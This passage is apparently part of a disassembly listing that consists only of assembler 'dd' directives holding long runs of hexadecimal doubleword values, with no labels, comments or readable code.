		dd 3338CDEDh, 0E041D102h, 0A36D5E88h, 0FF118500h, 0B58D915Bh
		dd 214A0183h, 0C7663EFCh, 3C845015h, 6150ECAAh,	8B41782Ch
		dd 1459E0B2h, 3BBD2820h, 18802DDh, 4B63BF5Eh, 60D37084h
		dd 10E7B2FCh, 0C86347ADh, 5592BDh, 0FC451161h, 0EA002004h
		dd 7C9CB87Ah, 199F5197h, 597D1E3Fh, 8F91804h, 7FADE0B2h
		dd 544E24C4h, 9E21B5A0h, 0FC1F779Ch, 384D9617h,	0D4E8D027h
		dd 0B2F303CAh, 0C95DE77Eh, 84C14CE8h, 994B0C00h, 610FCB5Ch
		dd 2E2A1F92h, 1D25C0ADh, 0A422D211h, 0D883000h,	0F65EE1C7h
		dd 3C1701D1h, 842D9A19h, 0A941F072h, 69E89907h,	28C20DEDh
		dd 980CA2AEh, 0C9211ADh, 21A34278h, 83B08496h, 0CA25FE2h
		dd 0A1A4C371h, 4C10CC30h, 82030B76h, 83582954h,	0F5117EE0h
		dd 233A4BE0h, 0BA21E022h, 647D9381h, 43B15037h,	606FE27Fh
		dd 848B3820h, 207D3F23h, 9E3C0678h, 0CCF3C8Ch, 700499F3h
		dd 0AACA401Ch, 74283D78h, 0DA780869h, 71617130h, 0AD06F2h
		dd 654877BDh, 76C966F1h, 1B79FF60h, 0C68F25A3h,	0B8AAAFE0h
		dd 0D5017CF8h, 0D3A006EBh, 9987F953h, 1D7530CBh, 4B5E259h
		dd 626E54D8h, 2CDF104Ch, 76C1A540h, 728AF3Eh, 0F0D36A7Ch
		dd 3555F940h, 65ED0662h, 29710C22h, 0B11AB42h, 0B3691147h
		dd 21080211h, 4C620887h, 0D284FD90h, 0DB83447Dh, 447F4A44h
		dd 0F14E6671h, 0C3DF10D1h, 5CF80D00h, 0CE6B9512h, 7321BA01h
		dd 0CBAE44DEh, 3EF2D4h,	631049AAh, 7F5AD7A0h, 354D0B01h
		dd 50A19D80h, 0F206F4h,	0FCDAA727h, 1C34705Bh, 94E16E00h
		dd 5ECDD07Ah, 9E2600FAh, 0D57733FDh, 0E200166Dh, 7E9291E8h
		dd 2FF1D9h, 67C43275h, 0CF25EEDEh, 0A907B202h, 5DA0D647h
		dd 0D031BAE1h, 0E0007E2Eh, 7BBE9A7Ch, 35C3AA6h,	0C86EC2E2h
		dd 0A8C88092h, 0EE00D3F5h, 0BB6FA7Fh, 6E46Ch, 0D5F64E5Fh
		dd 4CCF8710h, 56CAEC04h, 0E0C0EFE3h, 0AC5F30h, 4E7AC663h
		dd 0CE67BBFCh, 0EA3A7100h, 0A0469F9Bh, 0DD110155h, 2A78DAEDh
		dd 2444E1D7h, 177FEA84h, 1F8E790Fh, 3F6961ACh, 0BB21BBD7h
		dd 3E9D9CE0h, 3100831Ah, 0C86297E0h, 0A93D7A90h, 9860BFF5h
		dd 878F0C7h, 6112F435h,	0E0AD6077h, 0C92B000Ch,	63D00E9h
		dd 18A3E38Ch, 650007DCh, 72A83CE1h, 3F1A0h, 0FA488986h
		dd 5D29F84Bh, 532BA201h, 0C4D2C5FBh, 10604D8h, 0DACCDB4Dh
		dd 0CE43A9AFh, 0A2280BE0h, 3538B03h, 0E79BC864h, 1DBC94D0h
		dd 0A1103A5Fh, 4C248481h, 6020872Fh, 7B03F4CCh,	2668170h
		dd 0A4DD0A1h, 0FB631D8Ch, 6F8F4347h, 0B1C3BCFCh, 6B215ED8h
		dd 8B0079F0h, 0ACD06DEAh, 0BDF6109h, 9599A8D1h,	0EE829180h
		dd 8A00BBDBh, 0B81C6B80h, 0B874FD69h, 6F24016Ch, 9533E84Ch
		dd 7513D436h, 0CC5A51Eh, 0F18049DDh, 0E80457EFh, 595F00A4h
		dd 312F36EAh, 4F007E72h, 35E968B1h, 151D41Ch, 0BAB391Fh
		dd 3052E84Bh, 4A009458h, 0F6ECB4C0h, 0B7BF342h,	0AE82EB11h
		dd 86556600h, 0E4008804h, 0D3581DAAh, 0D4D8C1h,	6A4C1595h
		dd 0ED256640h, 87E01800h, 0E7C68DF3h, 796F001Bh, 0D8A5E507h
		dd 0B3033FB5h, 67A8CC1Fh, 0E481802Ah, 91160036h, 38BDCD10h
		dd 1E002871h, 5450BFDCh, 9095FB3Ah, 9A5A008Ch, 0D01C7F68h
		dd 0C1006F5Ch, 15F40BFh, 0B5CFB1F3h, 33388058h,	128D007Fh
		dd 9ACCFDDCh, 106348A9h, 0B521097Eh, 0F0A16C27h, 0CC25209Dh
		dd 5F3C5E98h, 80E8BF0Ch
		dd 5C22139Fh, 0EBFA07Ch, 366DD609h, 0FD00DE4Bh,	0B8BE688Ch
		dd 47C6F100h, 6B541887h, 62F900E5h, 2D260D9Ch, 923A5BC0h
		dd 90C987D4h, 0F040A77Ch, 902EDEEAh, 51960078h,	76A6E108h
		dd 0FA07BFD7h, 0ED298DACh, 0E6B77E80h, 0EF82507Ah, 0D4E70043h
		dd 5425A655h, 863F070Bh, 418882CAh, 801C570Fh, 0E6FB1F8h
		dd 9D5B1DBCh, 8B3F8074h, 72C590BFh, 1F4CDC00h, 91B60EE2h
		dd 0A4EA85h, 0E848ED07h, 449A173Dh, 94317400h, 1005978Fh
		dd 0DB87283Ah, 7AAD0090h, 57DA4737h, 2100C2E1h,	0F06B71D2h
		dd 0FEFAC49Bh, 3A400ADh, 2BBA776Eh, 7803441Fh, 0EF95B1AAh
		dd 45E6A815h, 60BE00FEh, 800A7917h, 5509E9F7h, 489DE7h
		dd 2B4968CCh, 24970099h, 590A886Dh, 0D9000644h,	7094E225h
		dd 0B286C7h, 7EDE79EDh,	9354078Fh, 31812C14h, 3AD91FE0h
		dd 398E7500h, 9703F51h,	800C5B77h, 0D7ABD801h, 0F086C92Dh
		dd 5C019F5Fh, 59414718h, 68F89376h, 0F728C09Bh,	0DA1E6B90h
		dd 0CCA46D02h, 604F2E2Dh, 0EEBBB498h, 88B14CC1h, 738A6E3Fh
		dd 0CC96F7h, 11A22ADAh,	3E0CEE9Eh, 18A9CF9Ch, 5CF2E4h
		dd 0D91F6135h, 0C20A07A0h, 96C5F118h, 563649h, 31C83A33h
		dd 2D404550h, 82FFD20Eh, 69AE0DCh, 0B29C92D8h, 14BD09A4h
		dd 80807417h, 0C9280354h, 55B88E60h, 75588C31h,	0A4920025h
		dd 4BF50BC2h, 51F4E21h,	0E653F7FBh, 0E306B020h,	0E583963h
		dd 0C07F4C00h, 0C2CC8B39h, 411E100h, 4B3FE7F0h,	0C8826040h
		dd 18208EA7h, 0C75F2100h, 56E0619Dh, 0FF52000Ah, 0B2EB855Ch
		dd 8001CD71h, 0F287F0A0h, 69D8E0B5h, 81360221h,	0EC9DFB0Fh
		dd 0E8F08468h, 49B03F00h, 0E23550D1h, 0F6C0009Fh, 5AA17859h
		dd 0EB024D25h, 5841A9DAh, 65EFE04Fh, 0DEAF00A6h, 0E13A2DABh
		dd 96007D21h, 0C3645F7Ch, 0E4BE1960h, 8844003Dh, 48A02612h
		dd 0CC984CEAh, 7B6F333Dh, 2861DF01h, 0C523CC4h,	3F4BDED0h
		dd 0E1804071h, 8A5989FFh, 2E0E5ABBh, 0A0C54E54h, 472DBF2Fh
		dd 68F303A9h, 0B607266Dh, 0F9A729A9h, 50DDCE6h,	17334800h
		dd 0EAE8B1C2h, 82EF002Ch, 88DE066Bh, 3C4C6A77h,	325100F8h
		dd 1509CE22h, 0B4F4FD10h, 49010370h, 0F772A120h, 336F1DE8h
		dd 93167B00h, 0BBEA74B3h, 0A430013h, 0B257A295h, 0F400A71Eh
		dd 3787FE5Ch, 5FB6E5h, 0BE926AA4h, 0A76C9BBh, 4C076090h
		dd 2F744775h, 6BA9671h,	5389E4h, 913E883h, 54F35CE0h, 9B9C1F04h
		dd 33C0DAC7h, 1A7B4Dh, 2885A9EFh, 0B8CE9396h, 5B0AFE00h
		dd 0CA583157h, 388EFA8Fh, 5D007D98h, 80DBAFF5h,	0F616D9DFh
		dd 2000A348h, 0D4E16634h, 6296000Ch, 0F1CB9BFDh, 8A00CEB0h
		dd 3923751Ah, 24CA85A8h, 28617Dh, 0B576F438h, 92000BACh
		dd 6E8D3F86h, 0B87E707h, 0EC76612h, 7F672001h, 0E0D83547h
		dd 0E80F9349h, 0E4017EACh, 58C0C14Eh, 0AF42E5h,	6FF0C2Ah
		dd 0A94A8BBAh, 0A61AC901h, 25C3441Dh, 58DC3921h, 0FED5E435h
		dd 37F65Fh, 0B0A764DDh,	6010BD6Eh, 0D78F4816h, 58400812h
		dd 0B31A15CFh, 728A3C2Bh, 0C8AB9000h, 0F98DFA0Ah, 0E4B67D2Eh
		dd 6F149580h, 2618D1FEh, 7C82A4h, 0C0ABC57Bh, 0B57E45E7h
		dd 4023BBA0h, 4CECFD98h, 61584B90h, 0CB0E00E7h,	0B6BD8EFCh
		dd 78B27475h, 1E6000Ah,	0B8364CE4h, 71E06ECFh, 0AACA74Ch
		dd 0F6A0EF89h, 0FD19003Fh, 0B4345D04h, 26A703DBh, 376B5F80h
		dd 0C86DA1D8h, 2C0015F0h, 49E4E0ACh, 0CD2477h, 0F57A3673h
		dd 683498F9h, 111A600h,	0E18CEF87h, 0F34D3893h,	3C7726h
		dd 0B7D0C295h, 0A9904632h, 7234B401h, 473E31F1h, 2BF4CE8h
		dd 6C6524FDh, 8850214Eh, 23175D00h, 38B92DF5h, 2EA300C6h
		dd 99CF7009h, 6E00125Eh, 0E4EE88E1h, 9056CDh, 0F1B35207h
		dd 6D1C38E0h, 16001579h, 35D97D6Bh, 9287643h, 30CAE9ECh
		dd 2D473040h, 0C08C2B00h, 89822AFCh, 7995005Fh,	0FB7FAB1Ch
		dd 0B8E2C161h, 86C46400h, 5ED4007h, 713F290h, 2DA3B4E9h
		dd 6CFBE063h, 6E076479h, 9276D751h, 0E6B391C0h,	0B26900Eh
		dd 72228203h, 6CAC1080h, 1EE627Fh, 1642DB00h, 9C125B59h
		dd 0A6935C9Ah, 0CC886801h, 0C43A8C5Dh, 5A0186F7h, 0FB11C02Ah
		dd 0B6702772h, 0C41600DDh, 0B8620628h, 0A324695Bh, 0D01CA468h
		dd 0C06007CFh, 779F96FDh, 0AF38007Dh, 17AED64Ah, 1CB042FFh
		dd 9A77E673h, 28E43D1Dh, 242B5140h, 0FE0A2C4h, 43FC4D21h
		dd 0A3025902h, 0B9C3C4E8h, 7C27112Eh, 74166B40h, 0E57003C1h
		dd 0BE9CBB64h, 80FD23E1h, 668613A0h, 1FC72561h,	0EC51DC38h
		dd 96070004h, 56B9FF60h, 7D647200h, 0ECC44731h,	0F6983957h
		dd 6DC63780h, 0C15E3B94h, 0D8A88230h, 7DA445h, 0D97BAE13h
		dd 233A1975h, 59A10300h, 1C39DBDDh, 2C8600EBh, 6770285Dh
		dd 37005E76h, 0D5E7C6C7h, 0F07263h, 0C354ADFFh,	780A89E5h
		dd 7B40D900h, 931CBA5Fh, 9BC200B5h, 7645FD26h, 0ED0035E9h
		dd 0FFACD8F4h, 9B5045Bh, 40A255A6h, 0BFE85860h,	0EB5F5101h
		dd 9AACBBD3h, 0CBAC60h,	0D25503BCh, 0FF3F740Fh,	58804900h
		dd 0A102EA70h, 1FE500B2h, 8E607DB9h, 1800443Ah,	0A3F1FE5Eh
		dd 4E0524h, 0A25F738Ah,	99C4E637h, 8E59FB78h, 0AD5E00E8h
		dd 0F753DBE7h, 0FF5800B6h, 0C7EF1E14h, 0FD7FDC42h, 6238DF0Fh
		dd 0E0EE8982h, 0CFA31388h, 0AFA0A5A9h, 4FACFD36h, 1B833B00h
		dd 0C2CAEF3Fh, 0E2E90063h, 5DF0672Dh, 271F92A8h, 0B542AC73h
		dd 785BA714h, 15050B4Ch, 73006A5Ah, 4CAA768Ch, 0BC5358A8h
		dd 0F8712100h, 9B9FBAD6h, 38093052h, 10938288h,	1A973300h
		dd 0E387183Bh, 0ACCF02DAh, 0D9C1BEF2h, 156E9080h, 930072EEh
		dd 43A9DD35h, 70F15FF0h, 52A0929h, 0A0017BE9h, 802018F7h
		dd 1C36CB90h, 3E26ED81h, 3DB06D8Ah, 0EB1E8E38h,	4D4F910Bh
		dd 0AC6C0302h, 0DE95B948h, 0F30DD4h, 0A66D2EFFh, 3387A991h
		dd 8357113Ch, 0AD6AE68Fh, 547DA0B4h, 185300DFh,	27376C60h
		dd 9E030C2Bh, 7CCEB9B7h, 0DF529006h, 0E4B4F6Dh,	5647B364h
		dd 0CD506092h, 841398EDh, 0F440D3F7h, 89FA0936h, 287E000Eh
		dd 0A1DAEDC2h, 7738D242h, 4F57801Ah, 8BB76DD4h,	0C22627ADh
		dd 160F9081h, 0E8A1D286h, 8040A537h, 21192918h,	0A9F90EBh
		dd 0A9F3BD86h, 0CFC760D0h, 0E424485Eh, 0EE00CB96h, 604EB4A4h
		dd 49CC0130h, 7503140Eh, 1A84D80Ch, 0B620949Ch,	12B95D00h
		dd 0CD737AE6h, 6953003Bh, 3A9B83Fh, 3532FD78h, 6018F644h
		dd 6E9EAB8h, 0FA0E3C7Fh, 7E003A71h, 0A2C1CB91h,	0F0D115Dh
		dd 29B8F2AFh, 0A880C82Bh, 18156F44h, 0A8D0791Fh, 0F9B20F00h
		dd 2414F707h, 81184E2Dh, 2BB5D89Eh, 4C817B92h, 8AD9F39Ch
		dd 798DECh, 0D649D422h,	681A67B4h, 43E440EDh, 0D7009A23h
		dd 99E3570h, 442CCEDh, 2A53717Eh, 529683C4h, 60171000h
		dd 0D91E5EA4h, 13EC00BFh, 212DAA30h, 0E8C2CED5h, 48A475BAh
		dd 65312B7Ch, 0C3389942h, 0EDABA128h, 0C06F0289h, 0AA05FBB2h
		dd 89D97AA2h, 0D44D7EC0h, 0F7750066h, 0CF87036Ah, 0EDEF3E86h
		dd 4540606Eh, 0F869C101h, 39130512h, 0BF3EDC40h, 0C850000Ah
		dd 10DAD65Fh, 9001B89Dh, 89F23A1Fh, 24205DA9h, 84B5132Ah
		dd 98133Eh, 0F17CCA2Eh,	2F32049Fh, 0C00AB08Ah, 34978Ch
		dd 8C289E53h, 636E3339h, 5B36B502h, 0D093DEF8h,	0A04B001Ch
		dd 469A8B0Ah, 0A600713Bh, 0A5B70576h, 1E7C515h,	0B414F3D9h
		dd 0D56CEB2Ch
		dd 5FBAF8A1h, 5045DD14h, 0AB900B8h, 378955D4h, 7E2A03F1h
		dd 57DC12D7h, 0BEAF18C9h, 4B981628h, 592CCCC2h,	31D3803Ch
		dd 6A461D45h, 1E2A70C0h, 8097F92Fh, 17046853h, 7AC6B861h
		dd 202AF480h, 3ECC39A5h, 18A7A918h, 8700523Ah, 38977C89h
		dd 92D111D7h, 0BFE73968h, 0B0F380E4h, 5B4CA9FCh, 5017E0Fh
		dd 6354DB69h, 0F8FCAB62h, 44EF4C19h, 9CD8B800h,	0DA6D95B4h
		dd 0E56A2E00h, 10D96C45h, 0B95B0A85h, 3DFE3CBCh, 0C1B03A80h
		dd 622C5C11h, 16870F16h, 0F300541Dh, 0CAA62E82h, 971400EFh
		dd 0CBE0987Dh, 0D0B8DD1h, 0E39EFEh, 8BF9A5C4h, 154B00E5h
		dd 97F1AC52h, 6A1F8CE7h, 0AE056EBCh, 82831727h,	0D7498D9h
		dd 0DD8B02A8h, 31195BA1h, 0BEF5ECE0h, 9129413h,	0D1AC2402h
		dd 0E6442055h, 2E00D5F3h, 90AA5C24h, 50CABD12h,	0E59018h
		dd 387E00Dh, 0F2312FE1h, 8101641Ch, 2957F980h, 0D06F9Ch
		dd 7BDEC8B4h, 0B1EBEA1Eh, 336C8E03h, 0D889D785h, 707E53D6h
		dd 0E99F0B18h, 0D0802BB8h, 0C07ABE98h, 86F50086h, 0BAE2626Dh
		dd 0C1130D55h, 74CC7641h, 257708h, 0E4FD3F80h, 0AB14F249h
		dd 0E9A45D1Fh, 0B4666344h, 0C4DDBDC3h, 0E8641489h, 40C0152h
		dd 66388D0Bh, 6F7B3035h, 1F419001h, 2AF56CEEh, 48B374DCh
		dd 16032C0Ah, 695CEDB7h, 6B4DA489h, 1F8444B0h, 0CEC74309h
		dd 6CE38FA2h, 0A1F8A9DEh, 96010825h, 0B0C969ABh, 0E42CD38Bh
		dd 7982E580h, 16008811h, 736CF036h, 92DC9Ah, 2365C712h
		dd 813DE6D0h, 7FEE3C00h, 193B9667h, 0A4B24F0h, 29808B54h
		dd 3FFC806Ch, 262CA05Dh, 808F94CFh, 6120B87Ah, 0C37C0036h
		dd 96474DCBh, 1726A032h, 7A131074h, 27E92302h, 98F8703Bh
		dd 217907B9h, 1048DBD2h, 0BB5E22FDh, 454E2000h,	0A9A890AFh
		dd 8F409717h, 564DF311h, 9894CA8h, 27595C4h, 0E069348Ch
		dd 0D4F3B6h, 452FC2C8h,	0DBC520D2h, 4766BB00h, 0AC041181h
		dd 0BF4C00EDh, 999FD84Dh, 0E00076E7h, 0A38A8766h, 1C3865Ah
		dd 3F2EA048h, 0D8AE4908h, 0C426FC41h, 0F10BB77Dh, 0FEA420CDh
		dd 0D807C9h, 482246A4h,	2B722E75h, 0B5AD3Dh, 73AC134h
		dd 1EBB541Ah, 0C0CF9D88h, 0FB5A0809h, 170E79A7h, 80CE322Eh
		dd 98367470h, 0A32500C3h, 0B1424943h, 4600EAA4h, 552DB420h
		dd 48E91FB9h, 0A350E04Ah, 0D058589Fh, 6725EC00h, 41BD7CC9h
		dd 0A61E2B02h, 5AA879E1h, 0F6D513E8h, 0D8048076h, 304DD4B7h
		dd 3C9000B0h, 99A16EFAh, 0B0CF00ABh, 0AAA5802Ah, 38B471E0h
		dd 0C2FD9002h, 0F514E896h, 0CA38C249h, 0C4C0B346h, 9B005E92h
		dd 0B7014A69h, 9818949Dh, 11A6006Dh, 0E11F836Bh, 8500C292h
		dd 69946D1h, 9A5461D8h,	0D2DB00B8h, 1C317398h, 9302A1E1h
		dd 848ED374h, 9852A0h, 63F79442h, 392F23C0h, 98006970h
		dd 6BFF910Ah, 0E8B1E7FCh, 0DB800721h, 3217BC41h, 0FC60F5B5h
		dd 0FF01B385h, 75BE04A2h, 0E0208279h, 3D6A1CF8h, 0C0C20B0Fh
		dd 0EA030800h, 2C603A30h, 0B11B9988h, 0E5560204h, 0D3D083F9h
		dd 25ED78E9h, 0CE40DDFCh, 8F50A4D0h, 0B5E06D94h, 0D8C6B709h
		dd 0FF1E8002h, 28EA4929h, 0DAB166h, 8BE45812h, 0C506E531h
		dd 0F478F000h, 8D9F5E82h, 7D402CF7h, 0B4023F4Ah, 0AE02DFFEh
		dd 49737440h, 98D72D0Fh, 31B24465h, 9655C1C1h, 0DC30D0C9h
		dd 129B0029h, 6C0B3A07h, 900138E1h, 79955E0Ah, 0F570AD9Ah
		dd 0A8113E14h, 7A2F2200h, 675BCF3h, 4E00D47Ch, 21169638h
		dd 0A5C693h, 325CC4DCh,	111FEC57h, 39696D00h, 749EC104h
		dd 884A04Eh, 70C8F64Bh,	0E7FE0E80h, 7602B5CFh, 0F058D122h
		dd 0AB1F7A01h, 75E2397Eh, 7D05883Ch, 808CD689h,	0D529A957h
		dd 33A541Ch, 28DFBA1Fh,	94AB7907h, 72B75F30h, 171E13B2h
		dd 1A3C40BBh, 82DAC7FAh, 4A433700h, 5C2D09Ah, 50140577h
		dd 803ED5C4h, 10EB597Ch, 55A8E200h, 0C2C30124h,	1CF200A2h
		dd 0D6716162h, 0A000312Dh, 8B7A918Dh, 7752F69Fh, 3F178DEh
		dd 2B37C880h, 0D798A6F4h, 849AC083h, 989EF872h,	0DF840740h
		dd 0EBF000D6h, 6F8F096Dh, 2C00544Ch, 8E94CA8Dh,	1AAA03h
		dd 3B11DBA1h, 0AFCF075h, 280937FEh, 81D87AC8h, 0DA47173Ah
		dd 5406B438h, 982CE443h, 3A012E7Eh, 8E97F625h, 0E8656E34h
		dd 340B830h, 29081054h,	0FFA882D1h, 0A6F01AB3h,	0BD63CC07h
		dd 484212EEh, 29CD98Fh,	727C7F64h, 7B87DA40h, 1EFADE01h
		dd 9FCB68E0h, 0B316E8E7h, 3EC7C5Dh, 0E9666708h,	9DA87475h
		dd 49000152h, 301251C4h, 1253E77Ch, 0F928237h, 0A3E07420h
		dd 0F97A2EE1h, 0B7ED5D1Fh, 0C519AF41h, 402C610Fh, 759E0750h
		dd 310E3EC0h, 14877E00h, 906C162h, 0EF56B71Fh, 37042D80h
		dd 770C7802h, 3321004Ah, 9AA0FCCh, 861D8863h, 0F73AD39Dh
		dd 0AC12FD00h, 6D605D6Ch, 971800F2h, 0A2FC10E9h, 7803B17Bh
		dd 5B2368B0h, 0AD11D8D6h, 0D7A0098h, 0D7880641h, 0CA017FF5h
		dd 6B810E3Ch, 69E2AC89h, 0C470DD8Ch, 73E107F2h,	81C17741h
		dd 0F89D5E80h, 6B0018B6h, 0F674F814h, 2D366Ch, 4C5CAA60h
		dd 0E7EFE80Ch, 4F44CA00h, 37F8B473h, 0AED0009Fh, 7DC76C98h
		dd 80EF14E6h, 25BBEEB8h, 73CDBA1Fh, 28A30077h, 0CA64F8F2h
		dd 0A5780BB0h, 3D00DBEAh, 977C26FEh, 82F78Ch, 6E672EFAh
		dd 0D9B80DF4h, 8A00A492h, 0A5E5A475h, 179AF8C2h, 0C0EDF72Eh
		dd 86C331A0h, 3303AD98h, 21FFFE35h, 84EC8D1h, 2A8FA0Dh
		dd 0B5DD5A47h, 2C5869DBh, 61D40900h, 3ABDC55Bh,	2F20BEBh
		dd 24437FADh, 420DC4D8h, 854809E2h, 158900C4h, 904344B8h
		dd 0F5FE282Ch, 118F6918h, 6A139C20h, 0B02F3Fh, 8DDBF40Fh
		dd 0CDA6C247h, 82FCE8CBh, 0AD5E308Ch, 0AE942489h, 84E96B1Dh
		dd 5781DF03h, 78D6E372h, 186EFC18h, 2020C111h, 0F6016D46h
		dd 97A57E5Eh, 2440038Dh, 4D079Eh, 0AEA67CFFh, 193CDB4Eh
		dd 975DCA06h, 0C0384C45h, 42674158h, 0F17B1001h, 87F37503h
		dd 0FE97B21Fh, 30580068h, 1C3BAA66h, 74008907h,	0BE52D2A0h
		dd 584BAC5Dh, 2C0082B9h, 0FD0E8771h, 38008297h,	6572456h
		dd 0E65BA5ABh, 818907DFh, 573ACC18h, 3EAE60F1h,	9600EEECh
		dd 0CF52FF83h, 38F997E3h, 8480F2D5h, 6330643Ch,	0AB0019A3h
		dd 27ACD56h, 1BB901Fh, 1AE4938Bh, 0D379222Eh, 528E50D8h
		dd 88FD3C00h, 994E398h,	0EBE1C799h, 83B7120Eh, 8655905Eh
		dd 10192476h, 1C618700h, 31F92630h, 35A7DA4h, 33F502A7h
		dd 0D4C8B75Bh, 3F005835h, 2F613A1Eh, 53D18Eh, 0CC4C9457h
		dd 447BC587h, 0B98C2800h, 0FDDBB633h, 75F91C47h, 40198EE6h
		dd 7051A6A0h, 0DE00D8AAh, 4B35CF65h, 0EC01562Ah, 90FE0348h
		dd 390B559Eh, 9597BB0h,	0BEA2B50Fh, 72B42079h, 6B2CEEh
		dd 69A30EFAh, 0F3D6979Eh, 617D4100h, 0C98C59CFh, 18AB1C7Bh
		dd 0A2A8A4h, 0F34B8623h, 0A0C865D0h, 74720600h,	28DA88D1h
		dd 98810045h, 10E537CAh, 831E7DCBh, 88586F87h, 2A4EF8h
		dd 4052C644h, 0A1B3A926h, 0DF6AD900h, 95D57DCh,	0CA5A1230h
		dd 1807FF2Ch, 9F507E68h, 72AE89h, 5EE90556h, 47C465C5h
		dd 4335C01Fh, 5F00511Dh, 0C3F3FB3Fh, 6A600BCh, 0AF1B289Eh
		dd 8000190Bh, 0CC91FF4h, 0B886827Dh, 0CE7C00ACh, 5A257BA5h
		dd 0CF0FCDCCh, 0C041C02Dh, 2AA9BCC1h, 702203AFh, 46D4A65Bh
		dd 2F0EF07Dh, 41C7AAF0h, 0C40DA460h, 0ACB0003Bh, 0D7FE402Ah
		dd 0AF634300h, 4632ABCCh
		dd 6FF10047h, 5C2D4FEEh, 9F07D3D6h, 74125824h, 0C0701580h
		dd 6BF000FAh, 75952C88h, 2100C676h, 0C9797AADh,	18EA1C4Bh
		dd 106046BDh, 9C0077A6h, 0E7F70AFDh, 97D0203h, 9799F88Dh
		dd 0E2894410h, 4EFC000h, 7305A245h, 0A6E6A8h, 0C5338535h
		dd 15C12E48h, 0A7A07B00h, 9F02FC6Eh, 0F00FF090h, 0CB0300D3h
		dd 5AFB11C4h, 103670Ah,	0F9C6BCE3h, 0A3E78887h,	1E3C0158h
		dd 61236D5h, 0A79D6079h, 0DAF180EFh, 6E76B51Ah,	89330FC9h
		dd 3A8E1ECDh, 0A570C301h, 0F42EE92Fh, 76008E4Dh, 0C1A11BE3h
		dd 93ECC0Bh, 0E4E5A25Fh, 2F49FD00h, 0D4925E7Fh,	0BD01202h
		dd 81A3F5E1h, 68D895DCh, 3A33F8h, 0ECD3CB4Dh, 0C87DF36Eh
		dd 0AD39B31Bh, 6B30F029h, 9720029h, 0AE6026F0h,	8B48F977h
		dd 0E8A700D0h, 8F24413Dh, 96200F6h, 2AC55A20h, 0B07D933h
		dd 91A46CD6h, 6383F41Ah, 0F2C68567h, 4100F747h,	0C5BE4352h
		dd 0E4E0600h, 8C2CB873h, 4C8E9812h, 0AD003AC7h,	6C602F77h
		dd 0A9302DEAh, 0FC41989Eh, 34390257h, 7F452791h, 3DB89880h
		dd 7003F2B9h, 599BEA8Ah, 7418007Ch, 31A8C019h, 2F154807h
		dd 8CF0E3h, 5D242EE9h, 0CE8F1Dh, 37D62B8Dh, 97724D0Dh
		dd 288BD200h, 32042733h, 3E1A3B42h, 802C1DA6h, 0EDEFF667h
		dd 1B0070BEh, 0C3A6C16Ch, 3F98D777h, 8863B943h,	0FFD08493h
		dd 3A0FB55Fh, 801744E1h, 5C7FEEA7h, 0B46E0074h,	0C16D68BAh
		dd 4B00EF85h, 44D0D650h, 19332F1Dh, 1A3EB4FCh, 19827064h
		dd 81740B3Bh, 0C41392C2h, 90801E1Ch, 5D82D9AEh,	3200F0BBh
		dd 81DD896Dh, 2E6054h, 0D3FA71A7h, 8AC3368Fh, 0DE20100h
		dd 99584C28h, 38C09A32h, 0CA040B95h, 0C2CB5E31h, 0A240A3B8h
		dd 0B6000CDAh, 0DB84BC1Bh, 3521CA2h, 0ED54886Ah, 65E19087h
		dd 62C4EC39h, 5B3D4700h, 63178027h, 744C003Ch, 3E022CCh
		dd 0D3001348h, 120ED0D4h, 0AE79DEh, 33BA5908h, 0FC836E2Fh
		dd 0FA5BA105h, 0D040CF81h, 7376D582h, 913F0339h, 496E0BF7h
		dd 93A8DCD8h, 0A2064400h, 8323FBA5h, 88B603CBh,	7147499Bh
		dd 0F4F7BD98h, 0E4D29C00h, 0E0C2F1FFh, 28EE00B2h, 8AE3D307h
		dd 0C7009A68h, 5C4A673Bh, 3585B7h, 997BA8C5h, 0AA092D34h
		dd 1B5E7C00h, 8658034Ah, 2A8802FFh, 0EE86319h, 8609CA2h
		dd 809B2710h, 0F800B1A5h, 0CE3CC3B6h, 279B85Ah,	86F0AFCBh
		dd 0B868309Ch, 980982D8h, 0F14A0DDh, 3AE8C020h,	0D99BE2h
		dd 0AA43122Fh, 0BC72A149h, 0EDDA3700h, 9A3097F2h, 98A73AC9h
		dd 6140FE80h, 0F40DDCA1h, 7476993Fh, 5EF38A00h,	0E0C52C9h
		dd 5476D0h, 0FCA2E0A1h,	8161E1DDh, 45DA86C0h, 1E92CFCCh
		dd 0F95CEA23h, 0BC598E00h, 6A4A0C19h, 0C3469F01h, 7AF409Dh
		dd 0D670F8CDh, 269730DBh, 754FFFE8h, 0B3242300h, 4BD9BC47h
		dd 0F1275DCh, 0CD83F605h, 7F4ACC01h, 33308FE0h,	3488C05Eh
		dd 6315E2h, 4EA004B4h, 0FF9F0DD8h, 3865FB01h, 1B92675Eh
		dd 5A8798EFh, 9CE1164Fh, 0BCE00020h, 0AFF87B50h, 2E853C1Fh
		dd 0C0BF5E00h, 471633h,	0D2A57D9Fh, 0E4814B6Fh,	9936FD00h
		dd 4623D0B2h, 0EDB50037h, 0C16FED5h, 157878F8h,	0AE478200h
		dd 347A55B0h, 791C0002h, 0F04F05E6h, 300084F5h,	0DDCF4E2Ah
		dd 3D50225Bh, 4100B749h, 13A212C6h, 7C79A19Eh, 0A41C5892h
		dd 43986274h, 1D2B28h, 9DAF2170h, 0AE63D0D1h, 9FCBBB01h
		dd 0EA3C6B64h, 0E93E30h, 0ACFA2DD9h, 63D35117h,	3528B100h
		dd 2BE4D5C0h, 327A005Bh, 178CDCCAh, 2C01BC29h, 52B006A1h
		dd 5C8B646Bh, 67807D98h, 0EAE95972h, 20098B25h,	18D2D858h
		dd 977D0742h, 415D4446h, 3190669Ah, 0F3ADE1CCh,	36EC0D7h
		dd 6C92C3CFh, 0F6764600h, 548DDB8Fh, 844B00F5h,	69E79A5Ah
		dd 7E253E06h, 0CE8C307Dh, 0D874D2h, 0A18C89C1h,	6691498Ah
		dd 0B674EAF8h, 8030B86Fh, 6F0F6008h, 5AD804D6h,	0A5B42353h
		dd 0D356C0B8h, 1C978700h, 3A0E2DABh, 3D5A39D1h,	0FB893080h
		dd 674D5B44h, 63843614h, 0C8089740h, 0C2A4804Fh, 78CAFAE6h
		dd 0AFA81216h, 0BC308417h, 506744A1h, 0CDD08Ah,	0B22FBF94h
		dd 4FA60496h, 4CB11D03h, 0C045F733h, 19D38A9h, 0B56B6C0h
		dd 406BC17Dh, 644DA595h, 30946800h, 54EE0623h, 87A402ABh
		dd 77ED076Bh, 6D9395C0h, 0F3C27B07h, 3BE135FCh,	0DEC04FA9h
		dd 1BDCF7BAh, 0C5F000E6h, 5C213A2Bh, 2700F9ACh,	36CD2ED3h
